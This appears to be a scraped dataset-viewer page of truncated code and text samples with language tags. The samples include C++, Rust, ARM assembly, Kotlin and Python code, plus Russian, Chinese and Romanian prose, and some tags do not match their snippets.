ASCIIToUTF16("store"),
IndexedDBKeyPath(),
false /*auto_increment*/);
EX... | C++ |
z - v) >> 3) as i16;
lp1[3] = ((x + u) >> 3) as i16;
lp1[4] = ((x - u) >> 3) as i16;
lp1 = &mut lp1[8..];
}
}
#[allow(clippy::too_many_arguments)]
fn ycc2rgb(
mut dc: usize,
mut ac: usize,
dct_y: &[i16],
dct_cb: &[i16],
dct_cr: &[i16],
mut cbcr_src: usize,
m_out... | Rust |
; -> fpetrig/s
filelevel SETA filelevel + 1
;
;******************************************************************************
;
; FPE2trig 19/2/87 Martin Clemoes
;
; Description: This file contains implementations of the SIN, COS and
; TAN instructions, making use... | Assembly |
ускаются ложными убеждениями в отношении панических атак и их симптомов
> Избегание поможет нам почувствовать себя лучше прямо сейчас, но только усилит убеждение, что мир – по сути место опасное. Так вы станете зависимы от избегания тревоги, потому что будете убеждены, что не сумеете ее пережить
> Если вы чувствует... | Markdown |
文本,可指定长度|200|是||
|讨论回复数|REPLIES|文本,可指定长度|200|是||
|状态|STATUS|[单项选择(文本值)](index/dictionary_index#discuss_status "讨论状态")|60|是||
|话题标识|TOPIC_ID|外键值|100|是||
|话题标识|TOPIC_IDENTIFIER|外键值附加数据|15|是||
|话题|TOPIC_NAME|外键值文本|200|是||
|更新人|UPDATE_MAN|文本,可指定长度|100|否||
|更新时间|UPDATE_TIME|日期时间型||否||
## 关系
<el-row>
<el-tabs v-model="sho... | Markdown |
DialogConfig(
JSONObject(validJsonWithInvalidVersionsInString))
checkNotNull(parseDialogConfig)
assertThat(parseDialogConfig.dialogName).isEqualTo(TEST_ACTION_NAME)
assertThat(parseDialogConfig.featureName).isEqualTo(TEST_FEATURE_NAME)
assertThat(parseDialogConfig.fallbackUrl)
.isEq... | Kotlin |
CLSAG, care va înlocui actualul sistem MLSAG și va reduce și mai mult dimensiunea întregii tranzacții cu 25-35%. Dincolo de acestea, există tehnologii și mai noi, mai avansate, cu sisteme de dovadă complet diferite, care au potențialul de a păstra dimensiunile actuale ale tranzacțiilor, dar care au dimensiuni de inel d... | Dart |
out
def special_x_and_c(x, c):
'''Special pairings of x and c functionals. The following data sheet is
from Pyscf:
https://github.com/pyscf/pyscf/blob/master/pyscf/dft/xcfun.py
Thanks for pointing out the bug by @QuantumMiska and the help from wsr (@hebrewsnabla)
Parameters
-------... | C++ |
: "CNCF 正在筹建通用数据平面 API 工作组,以制定数据平面的标准 API"
date: 2019-05-08T10:12:18+08:00
draft: false
authors: ["敖小剑"]
summary: "CNCF 正在筹建通用数据平面 API 工作组(Universal Data Plane API Working Group / UDPA-WG),以制定数据平面的标准 API,为 L4/L7 数据平面配置提供事实上的标准,初始成员将包括 Envoy 和 gRPC 项目的代表。"
tags: ["envoy","xds"]
categories: ["service mesh"]
keywords: ["s... | Markdown |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.